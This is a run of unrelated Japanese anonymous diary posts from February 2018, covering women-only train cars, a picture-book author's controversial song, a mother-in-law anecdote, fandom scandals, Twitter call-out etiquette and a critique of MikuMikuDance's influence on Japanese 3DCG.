    その中で法務担当の方もしっかりいらっしゃって。つまりコンプライアンスをしっかり守らないといけない一部上場企業代表の方々が来て議論して、これなら大丈夫っていう形で作ったんです。

    で、それを持って消費者庁に行って、関係省庁に行って、問題ない、と言われ方をしているんです。

浜村「で、実際あのー、えー、一つの例で言うなら、たとえば2月7日だったかな、国会予算委員会で、世耕(せこう)大臣の方から、キホントウカ(?)の議員が聞いた質問に対する答えとして出てきた答えが、

    プロというものを、民間団体が始めようとしている。プロなら問題がない、プロに対する報酬なら問題がないということで消費者庁とは整理ついているので、今後は法規制選手に賞金を与えていくことの、一つの助けになるということを言ってるんです。

    これはあの、YouTube動画が上がっているので、ぜひみていただきたいと思うんですけども、そういう形できちんと話し合ってきましたし、警察にもいきましたし、みんなに聞いていって、説明してきたのがこのやり方なんですよ。

    だから僕はこのやり方をグレーだとは思ってません。」~01:18:48

anond:20180218123901

言及先の増田だけど、

「助けろ」とは言ってないよ。

「助けてくれたら(少なくとも知らんぷりをしないでくれたら)男性に敬意を持てる」と言っている。

所詮他人だしね、痴漢する奴なんて何するかわからないんだから第三者が注意するのも怖いと思う。「助けないからといって」軽蔑したり責めたりはしない、仕方ないから。だけど、知らんぷりする人に敬意を持てっていうのは無理だよって話。

あと、当然回りの誰でも声掛けてくれたら心強いけど、男女には体格差・筋力差があって、大抵の場合女性痴漢より小さく弱い。もし第三者女性が注意してくれても、痴漢がその女性危害を加える可能性も高いから、女性が知らんぷりしてもやはり仕方ないなと思う

2018-02-17

女性専用車両なんて早く廃止しろ

本当に必要なのは

被疑者自白だけで有罪になる現状からの脱却

そのための全車両への監視カメラの設置

だろうが。

個人的にはここに『性犯罪常習(再犯)者への化学去勢措置の導入』(いわゆる女性ホルモン投与のこと)も入れて良いと思うのだが、これが倫理的に許されるか否かについて世論が固まってるようには見えないので保留する。

とにかく、『女性専用車両』なんてもの痴漢盗撮問題をとりあえず棚上げするだけの暫定的ものであって、本来なら棚上げしてる間に解決すべき課題がほぼ放置されている。もうそろそろ、課題に取り組むよう強く催促してもいい頃だと思う。

追記(2017-02-17 02:21) anond:20180217020126 に思うこと

監視カメラ映像があったとしても、決定的ではないんじゃないか

混雑した車内での監視カメラ映像では、あくま被害者被疑者との位置関係を捉えることしかできないのは、確かにそのとおりだろう。

だが、手のひらに付着した繊維の鑑定結果や、関係者供述との『突き合わせ』ができるようになる。突き合わせることにより、矛盾が浮き彫りになることがある。真実が見えてくることがある。

から、たとえ単独では決定的な決め手とならなくても、客観的物証を増やすことは重要だと考える。

ただ本当に恐ろしいのが免罪で…間違いなく立証できる手段があればいいのに。

冤罪を防ぐには、被疑者自白しか有罪にできない現状を変えるしかないと思っている。だからこそ上記の二点を訴えたい。

追記(2017-02-17 11:55) anond:20180217043552 に思うこと

個人的には、この議論で“差別”という語を持ち出すべきではないと思っている。

そもそも増田自身

痴漢被害は、男性加害・女性被害類型が非常に高い割合を占めるいうデータがある。従って男性排除すれば、痴漢被害は大きく減少するだろう。これ自体ロジックであって、誤謬は無い。

と言っているのだからあくま暫定的対応として、緊急避難先(シェルター)として機能する女性専用車両事業者が用意するのは公益にかなうわけで、差別という語を用いるべきではないと考える。

ただ、増田に限らず

混雑率が向上させられた車両に乗ることを男性のみが強制される

大多数の無関係男性問答無用痴漢加害者予備軍に仕分けることが不当

という不公平感や理不尽さを抱く人が少なからずいるのは分かる。

から

監視カメラ導入、警備員の乗車、混雑率緩和といった痴漢対策を徹底すべきであろう。

という主張には全面的同意する。そして、“不公平感”や“理不尽さ”を生んでいる女性専用車両廃止にも同意する。

2018-02-16

性について思う事 04

こんばんは。

性について思う事、早くも4夜目になる。

最初はこんな事を最近訥々と考えるのだ、と云う程度の記載、つまり日記だった訳だけども。年齢的に老い所為である。と考えていた。

ちゆ12歳さんも復活したし、牛丼コピペも叩かれるこんな時代だ。老兵は消えて行くのだろうがそれでものんびり消えて行こうではないか

.

5.性的嗜好対象

最近、とは云えこ20年程。ゲーム購入の形は変わった。

店に行くのも楽しいが、ダウンロード販売のお陰でエロゲ―や同人関係が買いやすくなった。

私もダウンロード販売も良く利用するし、ゲームDLCを購入する場合もある。何せ部屋の本棚倉庫を圧迫し続ける本やゲーム箱より、形は無いがダウンロード販売でサクッと購入できる方が簡易だし何より場所を取らない。同人誌ビュアーで見れば楽だし本をとっかえひっかえしなくて済む。これ程便利な事は無い。

勿論、対応OSが限られている作品危険だし、飽きたゲームの売買や本を古本屋まんだらけに持っていく事は今の所は出来ない。しかしそれも数%しか取り戻せない。

電子データに金を払うのが、と云うか、形の無い物に金を払うのが嫌いな日本人理屈理解出来るが利便性もぜひ考慮に入れて欲しい所だ。

しかし、同人ゲームニッチさは極まって来ている様に思う。

実際DMMランキングを見れば上位にある作品はイイ感じにトンガっているし、私が気に入って購入しているサークル作品現代奴隷商人と云われているアレだが、ニッチと思っていた(実際絵柄は強烈に人を選ぶ)がランキング上位を占めていた様だ。大変めでたい。

今回はこの性的嗜好対象。よく言われる性癖について話していこうと思う。

そもそも性癖と云うのはその為人であり、性的嗜好の事ではない。と云うのはご存知の方は多いだろう。しか言葉意味は変わる。変わって行く。

結局は大勢意見が取り入れられ、現在性的嗜好イコール性癖と言う言葉が指す様になってしまっている。

ここ最近Twitterトメで見たのだが、恐らくは男性だろうが。自分に自信が無いと云うか、若い人は賢すぎて感情移入が出来なくなっている者がいる様だ。

曰く「自分が○○を幸せに出来る訳が無い」

「○○が笑っている視界内に自分が居る事を想像出来ない」

「○○程の女の子自分なんて恋愛対象にする訳が無い」

まり、彼の性的嗜好と云うか恋愛対象は○○と云うキャラクタなのだが、その創作物登場人物に対して感情移入出来ない。と云う訳だ。

この思考について、私は。

1.二次元キャラクタが興奮している様が見たいだけで、抱きたい訳じゃないか自分以外で想像するね、と。AVアニメ創作物を見過ぎて第三者視点で無いと興奮出来ない性的嗜好であり、自分カメラか壁で。と云う一面。

2.自分自身が嫌い過ぎて、自分よりキャラクタ性的に興奮させてくれるキャラクタを配置する事で、自分自身精神的に守っているという一面。

3.感情移入先がそのキャラクタ自身なので、相手役は自分ではなれない。

他にもあるだろうが、こういった精神状態なのではないかと仮説を立てた。

1の仮説はあくまでも性的に興奮している様を見たい。映像で無いと興奮しないと云うタイプならこういう思想になるだろうし、2の仮説であれば凌辱物だろうがレイプだろうが、要は自分とはまったく関係なく”曇らせ”る事が出来る。まあこの”曇らせ”も後日調べてみたいと考える性的嗜好ではあるのだが。

3の仮説は男性だろうが女性だろうが起こり得る。まったく性的嗜好では無いタイプ相手から暴力的に愛されたいと考える事もあるだろうし、好みのタイプを配置する事で疑似的に”愛されて、愛される自分”を構築する事も可能だ。

この様に、同じ様な性的嗜好でも、映像で見たい、感情移入先がヒロイン自分創作物の中に置きたくない、置けないタイプと無数にパターンが発生する。

なんだかんだ言いながら、その○○と云うキャラクタをやっぱり愛したいか感情移入先に完璧人間を設置するパターンもあれば、同性愛に走らせる場合もあるだろう。

また、この同性愛も参加したいのか天井から見ていないだけなのか。この様に感情移入だけでも無数のラベリングが出来、性的嗜好対象をどう見たいのかどうさせたいのかととても興味深い。

オタクレパートリーと云うか、賢い、聡明な若い方も増えたし、グローバルと云うか無数のパターンが増えて来た事でラベリングの楽しみは尽きる事無い。

2018-02-15

anond:20180215195947

ワイは全然関係ない第三者から正直どうでもええで 勝手写真でもなんでも晒せばよかろう

推し燃え

燃えた。悲しい。

新参自分ですらめちゃくちゃに悲しい。

初めて観に行った公演から11カ月と少し、バスツアーから数えると4カ月くらいしか経ってない。

悲しいし恥ずかしい

推しはじめて1年も経たずに再炎上。燃料満載。彼こそ炎上王子様。現代に蘇った本能寺ではなかろうか。

新参の私ですら少し泣いた。古参の人に比べれば傷つく余地など3ミリあればいい方だろうが、あまりにも悲しくて恥ずかしい。

進退決め兼ねているファン気持ちは察するに余りある。きっとあえてバスツアーに行かなかった人、3月のイベントキャンセルした人もいるでしょう。

そしてその人たちは、今もなお納得と後悔を繰り返していると思う。

私が今一番つらいのは、他担の人の「私の推しと共演しないでほしい」という声。

あの人たちの言っていることはとても正しい。正しいから辛い。

そんなこと言わないでと思う権利すらない。そりゃそうです。誠実に頑張っている人の側に不誠実な火種必要ない。

ただでさえ舞台俳優、それも2.5というだけで見下されるような界隈で、自己管理を怠って燃え俳優など恥ずかし過ぎて表に立ってほしくない。

人間という属性の中で俳優というカテゴリーを選んだ以上、彼にはプライベートを何が何でも隠し通す努力義務が生じる。

商品である以上、嘘でもいいから手垢などついていないと証明し続ける必要がある。せめて私たちの目が届く範囲くらいは、まっさら状態に保っていてほしかった。

仮に燃えしまっても、誠実な対応をして心の整理をつけた人が「帰って」これるようする努力必要だった。

より売れるにはより高いハードルが課されるのは当然だと思う。例え第三者の手によって流されたものだったとしても「流されて困る様なもの」を所持している時点でガッカリすぎる。

それでも彼女がいるのは仕方ない、いいんだよ、というファンプライドをどうにか守ってやって欲しいです。

そしていつかそれが報われるように願っています

2018-02-14

朝日新聞サイトログインしようとしたら『第三者に傍受されるおそれが云々』とか出てきたんで無料会員やめます

https://anond.hatelabo.jp/20180213225535

具体的に法的介在を成して事を回復させたい場合は見てわかるだろうという事柄などを「見てわかった」という証明にする必要がある。

消耗しているなら消耗の具合を第三者に測定してもらったり診断してもらった結果を提出する。

厳重な処分であるならいかほどのものであるかの明細をもらう。厳罰であることの理由は損害に対する喪失感補填ではなく行動の制限、重複した迷惑行為再現を成さないための更生教育措置のためであることは理解されたい。

損害をうけ消耗をし続けているとすればそれを第三者的証明できなければ、第三者による補填ができない、つまり金を出してもらってもなおらないというのであれば金を請求する妥当性に欠く。

なにより問題解決に具体性は必要ないが気分的によくなりたいという場合、斯様に増田に書きつらねることはとても適しておりまたどう返事しても相手側に対する干渉に具体性を欠く場合ははやめに返事をして関係性を断つことが解決について良策ではないか提案する。

注意喚起」にID必要か?

某界隈のとある騒ぎを見ててふと疑問に思ったことがある。

それは(twittrで)問題発言があり情報共有のためSSをとる際、IDの部分を消す必要があるか否かについてだ。

自衛のためにID必要だとする人もいれば、IDがあることにより逆に過激派は該当アカウント特攻、第二の炎上に繋がるのでない方がよいとする人もいる。

正直なところ、それで第二の炎上が発生したとして自業自得なのでは?と思う程度には自分性格は悪いのだが、自衛をするためにはID必要である説には正直疑問を感じる。

というのも、もちろんケースによるのだが、今回の場合IDがあったところでどうやって自衛できるかわからいからだ。

そもそもIDが見えることでどうやって身を守るのか。IDとはネームタグのようなもので、名前の部分を変えてもIDから対象の判定が可能なわけだ。

過去にどんな発言をしていたかが分かれば、例えば詐欺行為をしている相手ならひっかからないように注意できるし、罵倒を繰り返すような輩であったりすれば避けて通ることができる。

また、一部の人たちが言うように事前のブロックとやらも可能だろう。

しかし、この事前ブロックという手段がどうにも自分には有効手段とは思えない。その理由としてまず前提に

・今回見ていたケースの場合問題行動をしている相手が数人ではなく多岐にわたる

・それと比較実例SSはごくごく一部のものしかない

・他にも多数の問題があるのに、まとめられていたのはごく一部のケースの話

という状況がある。

IDによる事前ブロック有効なのは基本的に該当人物が限られている場合ではないかと思う。

数が多ければ、絡んでくる前に探してブロックするより万一絡んでこられた時にブロックした方が、実際の労力は少なくすむ可能性が高い。

また、集団荒らしたり副垢を使ってくる相手には事前のブロックなどほぼ意味がない。ブロックした相手以外に粘着されたり、悪ければ捨て垢突撃されるだけだ。

IDを公開することで分かるのは、そのID人物が要注意人物であるというだけで、もちろんそれはそれで悪いとは思わないが、それが自衛に繋がるかと問われるとその可能性は低いのではないかと思う。

そして逆にIDを公開することによって(正直そのような文句を言う資格があるのかと言われたら首を振るのだが)IDが公開された側、これは本人のみならず、いわゆる同陣営相手から本題をそらすための突っ込みが入る可能性が割とあるからだ。

実際件の場合は多くの相手から突っ込まれていた。

突っ込みのもの正当性はどうかと思う。自業自得だとは思う。

だがその上で、そういう自業自得であろうが何だろうがごねてくる相手時間を取るのも勿体なければそういった反論によってどっちもどっち論を展開されると第三者がそういうものなのかと誤解してしまう恐れがある。

そのような隙を生まないために、あえて多少不本意ではあろうがIDを隠した方が注意喚起のものはうまくいくのではないかと思う。

意味のない自衛にこだわるよりも、どのような問題が生じているのかを視覚化し、誰それが悪い、ではなくて、このような行為がいけない、という認識を広めることで啓蒙活動をする方がまだ自衛に繋がるのではないだろうか。

2018-02-13

anond:20180213174821

周囲の人間に先輩の愚痴を言う。多分味方ができるから。味方で無くとも状況を第三者が知れるようにする。

その上で、先輩より立場が上の人間クレーム

2018-02-11

絵本作家炎上商法ではなく貧困ビジネスなのではないか(1)

長いとはねられるようなので分割して投下してみます

ここのところの某絵本作家炎上を見ていて色々不思議に思っていたが、彼のやっているのが貧困ビジネスだと考えると腑に落ちる。ということで、以下で自論を述べてみる。

1.前提知識いくつか

1.1.発端の炎上案件とは

母親応援している(と当人が主張する)歌を母子に人気な芸能人に歌わせた。内容は、母親が「あたし、おかあさんだから」と我慢我慢を重ねる内容が描かれ、最後の数行で「それでも、あなた子供)に会えてよかった」と結ぶものだった。

しかし、

  • 1.我慢ばかりが具体的に描かれ良かったことが具体的に書かれていない、
  • 2.ひたすらおかあさんだからを繰り返すフレーズ狂気を感じさせる、
  • 3.中に友人のような第三者だけではなく、父親の関与も見られない、

など、母親ワンオペ育児ノイローゼになっているのではないかと、特に児童虐待についての知識がある者にはかなり不安な内容に読みとれるものであった。

【参考】

歌詞自体については作詞をおこなうから以下のような評価もある。

【参考】

1.2.割れ意見発言者の傾向

もちろん、このような内容について危機感を感じない人は男女問わずおり、

などの意見ツイッターなどでも表明している。後に謝罪をおこなった作詞者本人に応援しているというファンも多い。きちんと統計を取ったわけではないが、男性には「昔ワルだったが今はい父親をしている」という人物や、女性でも「昔は遊んでいたが今はい母親をしている」といった傾向があるように見えた。

2018-02-10

私のビックリドッキリ義母の話を聞いてくれ

3年前に結婚した20代女です

ネット見てると「ヤバい姑」ってだいたい嫁いびりとか毒親とかモンペとかそういうのばっかりだけど、うちの義母はそういうのとはちょっとタイプが違うヤバさだから晒してみたら結構おもしろいかもなと思い立って書いてみるよ

とりあえず、結婚するまでの話からしようかな

皆さんは、結婚相手自体にはめちゃくちゃ満足してるけどその家族ちょっと「んっ?」と思ったら、結婚を諦めますか?

私が最初義母に対して違和感を抱いたのは、今思えば付き合い始めて意外と間もない頃だったような気がする

夫が「彼女できたよ結婚視野に入れてるからそのうち連れてくね」的な報告をした数日後のこと、彼の元に義母からメールが来たらしい

内容はというと「占いによるとあんた(夫)が努力すれば良い関係になるとのことなのでがんばってね」みたいな感じ

それを聞いた時は「ふーん、そうなんだ」としか返せなかったけど、後から(え?どゆこと?)となってきて…

いや、占いって何?

義母さん職業占い師かなにか?

一応聞いてみたけど当然違うと言われ

かといってめちゃくちゃ占いに凝ってるとかいうわけでもないらしい

じゃあなんでわざわざ私らの相性なんか調べてそれを息子に送ってきたの…

今思えばそれを私に話す夫も夫だけど…

上手く言えないけど、なんかすごくモヤモヤする!

ちなみに、どうでもいい話だが夫が「それ何の占い?」と聞いたら「細木〇子です」と返ってきたそうな…

さて、そんなこんなで結婚段取りが決まり入籍する1年前の話

夫の実家自営業で、私は見学意味も込めて繁忙期にお手伝いに行くことになった

お手伝い最終日、仕事が全部終わった後、全員で反省会をすることになった

と言ってもそんな大それたものではなく、嫁さんもやってくることだしこれを機に今までのやり方を見直して、良くできるところは良くしていこうみたいな感じだった

義父が「私さんからも何かあればどんどん言って!第三者目線で!」と言ってくれたので、意見を出すところまではさすがにしなかったが、義父や夫の意見賛同できるものには「それいいですね!」とか「じゃあ来年やってみましょうか」とかコメントしてたんだけど、なぜか義母がずっと黙ってる

どうしたんだろうとは思いつつ触れるわけにもいかないのでスルーして話を続けてたら、突然義母が声を荒らげた

「私やっぱり我慢できない!」

なになに?どうした?と騒然とする私たち

聞いてみれば、義父や夫の出す改革案に私がホイホイ賛同するのが、自分のこれまでの働きを軽んじられているようで許せないとのこと

えーーーそんなつもりないんですけどーーー

はっきり言って被害妄想だと思いました、えぇ

はいえ、自分にそのつもりがなくても相手不快にさせてしまったのなら、それについては謝らなければならない

そこはそれでいいんだけど、まだ籍も入れてない、言ってみればゲストである私に対して、義母がこのタイミングでブチ切れたことに正直ドン引き

同席していた夫も義父も義弟も、唖然として言葉も出ない様子

その後私が謝罪しその場は何とか収まったものの、結婚後もこの義母被害妄想によって私は難癖をつけられることになるのである

とりあえず今日のところはこんなもんで

続きなり別エピソードなり書くかどうかは私の気分次第ですが、え、なに?

婚約解消は考えなかったのかって?

義母理由に別れるには惜しいくらい夫はパートナーとして相性が良かったんですよ…

それに、この程度のことで婚約解消を申し出るほどの勇気もなかったんですよ…

基本的義母はめんどくさいし性格が歪んでいるところはあるけど、決して悪人ではないので…(意図的に誰かを傷つけたり貶めたりということは絶対にしない)

ちなみに今は娘が生まれたおかげで表向きめちゃくちゃ関係は良好ですし、夫とも相変わらず仲は良いのでご心配なく…

2018-02-09

はれのひ

2月に入ってから音沙汰ないけど、進展してるんだろうかな。

心配しすぎ、ニュースに煽られすぎなのかもしれないが。

第三者が「もっとニュースしろ!」と言うのもおかしいけど、世間が興味を失ったか報道されない、だとしても困るなあ。

なるべく早期に、良い解決を祈ります

2018-02-08

悪いものは悪いと言え

人間は都合のいいことを言いがちだ。

自分容姿が醜くて、就活で苦労しそうだというと容姿は悪くないと言われる。

しかし、現実的恋愛やら性生活において虚しさを感じているのだから良いとは言えないだろう。

実際、中学高校でも大学でも容姿が悪いと第三者での評価を食らっている。

「甘え」という批判をしたいがために、実際は悪いものをどうにかなるだとか大したことはないというのだ。

貧困に陥っている人に対しても行われる。

貧困は大したことがない。チャンスをつかめばどうにかなると。

そんなの嘘っぱちでしかないものだ。

容姿も実際にそんなものだ。

醜いけど、大したことがない。

他にももっとひどい人がいる。

そんなの、恋愛就職など絶え間ない闘争で慰めになると思うのだろうか。

いや、慰めようとは思っておらず、ただただ批判したいだけなのだろう。

かに、悪いと言って現実問題どうなるのかといえばどうにもならない。

しかし、悪いのだから実際に悪いと言って欲しい。

そうでないと、色々と困る。

下手に「甘え」にされたらたまったものではない。

2018-02-07

元増田による雑感

anond:20180206221002

たんなるトーキョーFMに刺激された思い出話に思いの外の反響があってびっくりしてます

追記しました、とか書くほどのことでもないのでそっとトラバします。

いくつか質問に回答。

元増田は女?

そうです女です。

同僚女子とは結構仲良くしてたんだよ…

その断った件から疎遠になったけど

社長雑談セクハラでは?

そうですセクハラです。

まあ女でなくてもセクハラでしたよ、セックス相手女性がどう反応したかとか詳細に聞かされんだよ、肉焼きながらさあ。

セクハラという切り口からだと同じくらいの文字数で語れるネタがあるんですが、

忘れた頃に別の増田として書きます

身バレするのでは?

当時の関係者が見ればバレるでしょうが(覚えてれば。なにしろ人の出入りが激しい会社だった)、まあ別に

どうもー元気にやってまーすイエーイ。


以下、直接関係ない雑感

昼御飯たべながら反応をわーっと見ていて、「立ち直ってすごい」みたいな書き込みを見てちょっと涙が出そうになった。

ありがとうございました。

そういや一時期通っていた精神科のお医者さんに「折れて引きこもっててもおかしくないのにね、頑張る人だね」と言われたことがあった、と思い出した。

そのときはぴんと来てなかったけど、そうか、もしかしたら私は頑張ったのかもしれない。

そう思えたのははじめてだったので、思わぬ喜びだった。


この件が心のなかでもうすこし生傷だったとき、友人に、出来事の一部を飲み会面白話として話したことがある。

友人は、

「○○の話はすごいな、そんなことありえんのか、ってなる。仕事でそんな人見たことないもん…」

と言った。

なんとそれで私は若干傷ついた。勝手に。

自分で話したくせに。

なんだか、「そんな会社しか所属しできなかったおまえが悪い」といわれたような気がした。

そして、私が悪いのかも、やっぱりそうなのかも、と思ってしまった。


もちろん友人に恐らくそんな他意はなく、

だって誰かの話への応答にそんな他意は込めない。

結局その時、まだ生傷だったのだ。

でも今回は増田に書けた。

どこかから斧が飛んできても大丈夫だろうなと思って書いた。

なにしろ10年前の話なので。

何人かのブコメで指摘があったが、やはり当時の私には、落ち度も突っ込みどころもあったと思っている。

けど、私に落ち度があったとしても、

からってなにされてもいいわけがあるか、ふざけんな。

と、今ならようやく思える。

10年経って、なんとか当時やってたことを飯の種にできて、収入が安定して、なんならその会社よりいい条件で働いている、

そんだけ手札を揃えてガチガチに防御して、今、ようやくだ。

どれだけ私の落ち度を指摘されようが、それでも、社長と次期社長はまじでくそだったよ、と、言える。


逆にいうなら、自分がされたこと辛かったことを誰かに伝えるというのは、

ましてネットで言ったり、加害者に宣戦するなんていうのは

ほんとうに勇気がいることなのだと改めて実感した。

被害者面はゼロリスクじゃない。

しろハイリスクだ。

私は被害者だと口にすることは怖い。

ほんとうに怖い。

繰り返す自問に耐え、繰り返す客観視と感情の反復横とびに耐え、

そのうえで悪意の第三者加害者と戦うなんてのは、もう、正直人間業じゃない。

私はこうして匿名で吐き出すことさえ10年経たないとできなかった。

加害者と直接戦うなんて恐ろしくてできない。私は私のメンタルが大切だ。

戦うのは恐ろしいことで、

被害者告発は私には想像もつかないほどの勇気だ。

それを実感できたことは、もうひとつ、この増田を書いて反応をしてもらえてよかったことだな、と思う。

ありがとうございました。

MMD日本3DCG破壊してしまった

少し前に最近話題バーチャルのじゃロリおじさんがMMD界隈に叩かれてたの思い出したから書く。

まず最初に、MMDで作られた映像MMD映像作家自体を貶すつもりはないとだけ言っておくし、破壊が言い過ぎならガラパゴス化と言い換えてもいいかもしれない。

日本3DCG作品MMDじゃないと観てもらえない

日本で一番影響力のある(あった)動画サイトといえばニコニコ動画だと思うんだが、ニコニコでは「3DCGキャラクタアニメーション = MMD」という図式が定着してしまった。だからプロが高いソフトで作ったような商業案件っぽい動画にも「MMDでこんなことできるんだスゲー」「これMMDじゃねえよ」みたいなコメントがよく付いてる。

それゆえ、3Dキャラクターが歌って踊る動画だとかドラマみたいなものを観たいときに見るタグは「MikuMikuDance」になってしまう。BlenderだったりUnityだったり、あるいはCINEMA4DとかMayaみたいなガチガチ3DCGをやるツールで作られた動画そもそも検索にヒットしない。

なんだかんだでネット動画を公開する場合再生数がモチベになるわけだからこれは致命的だ。

日本ではモデラーMMDだけに流れ込んでいく

動画投稿者再生数を欲しがるように、モデルデータの作者はモデルを使ってもらいたいのである。だから作者も基本的MMD向けにしかデータを作らない。

魅力的なMMD向けデータを他のソフトで利用したい場合インポートする必要があるわけだが、インポートしても正常に扱えないものが発生する。obj形式などで配布されたらどれだけのソフトで利用できたことだろうか。

で、結局MMDってどういうツールなの?MMDで作ったらダメなの?

そんなにMMDが有利なら、MMDで作ればいいじゃないか。そう思っていた時期が私にもあった。

死ぬほど不便だ。冗談じゃなく過去遺物しかない。Blenderなど一般的3DCGツールの大半では、モデリングアニメーションが1つのソフトで完結する。

もちろんモデリング向きなソフトアニメーション向きなソフトのような分化は生じているから、ソフトを使い分けることもある。それでも、アニメーションを作るソフトモデルデータポリゴンをいじることができる。

一方、MMDモデルデータを読み込んでアニメを付けるためのソフトだ。他の人のモデルを借りてくるなら手軽だが、自分モデルから触リたい場合(通常の3DCG制作だとそうなることが多い)には非常に不便になる。モデルデータMetasequoiaあたりのソフト作成し、それをMMD用のモデル作成ツール「PMX Editor」に読み込む。そしてPMX Editor上でボーンを仕込んでエクスポートし、そのデータMMDに読み込ませる。

一回やってみると分かるが、アニメーション作成中にモデルデータ修正したくなったらその手順をもう一度踏む必要がある。たった一箇所の色を変える作業でさえ、だ。

また、一般的3DCGツールでは「レンダラー」というもの存在する。光や反射など物理現象シミュレートして通じて写実的な画を出したり、あるいは物理現象を捨象してモデルデータ境界線だけを抽出し、セルアニメ風の画を出したりといったこともできる。3DCGツールから出力される画像映像の質はレンダラーが握っていると言っても過言ではない。

一方でMMDDirectXが映し出す低品質画像しか出力できない。2000年代PCゲームリアルタイムレンダリングしていたような品質である

作者の姿勢コミュニティによるツール神格化が不便さに追い討ちを掛けている

死ぬほど不便だがユーザーは多いとなると、ユーザーの中に存在する野良開発者が改良を加え始めてもおかしくない。実際、何度か名前を出しているBlenderの方はオープンソースであるから世界中の有志によってどんどん機能が向上してきた。

一方、MMDはこれほど知名度と影響力を誇るソフトウェアなのに完全にクローズドソースだ。MMD本体クローズドならともかく、MMDデータ形式であるPMDの仕様も元々はクローズドだったのである現在はPMXという後継の形式が主流だが、これはMMD開発者ではない第三者(PMX Editorの開発者)が提案し、MMD側がこれを取り込んだものである

現在MMDの不便な点を補うような関連ツールも多数存在する。しかし、それらは開発者が多大な努力をして解析した結果である

明らかに健全コミュニティだと思うのだが、それを批判する雰囲気MMD界隈に見られない。作者である樋口M氏の姿勢批判するMMDerは居ない。年齢層が低いこともあってか、過度に神格化されているようにすら思う。MMD批判したのじゃロリおじさん氏が叩かれたのもそれのせいだ。

樋口M氏からすると、趣味で作ったソフトウェアがここまで大きな影響力を持つとは思わなかったのだろう。とはいえ、趣味で支えられる領域はとうの昔に超えているのだし、ソースを公開してコミュニティに委ねてもよかったのではなかろうか。

これほど多数のモデルデータが公開されたり、PMXが提案されたりといった現状を見て、作者自身が一番コミュニティの力を実感しているはずなのだから

日本CGMMDに縛られすぎている

もちろん、MMD3DCGへの参入障壁を下げたのは事実だ。Blender無料だよなんて言ったところであんなに難しそうなソフトを使ってみようなんて思う人間は少ないはずだ。そういう点ではフリーモデルを読み込ませたり、フリーのモーションを読みこませるだけでアニメーション作成できるMMD画期的存在である

ただ、裾野を広げた存在日本3DCGは縛られすぎていると思う。例えるなら、インスタントラーメンのせいでラーメン店が続々と潰れていっているという感じだろうか。開発者の人には、「Scratch」が幅を利かせていると例える方がいいかもしれない。

これから日本CGがどうなるかは分からない。

MMDオープンになって機能を大幅に向上させ、コミュニティベースの膨大なモデルデータを活かしてBlenderや商用ツールを追撃するような未来面白いと思うが、現実はそうもいかないだろう。

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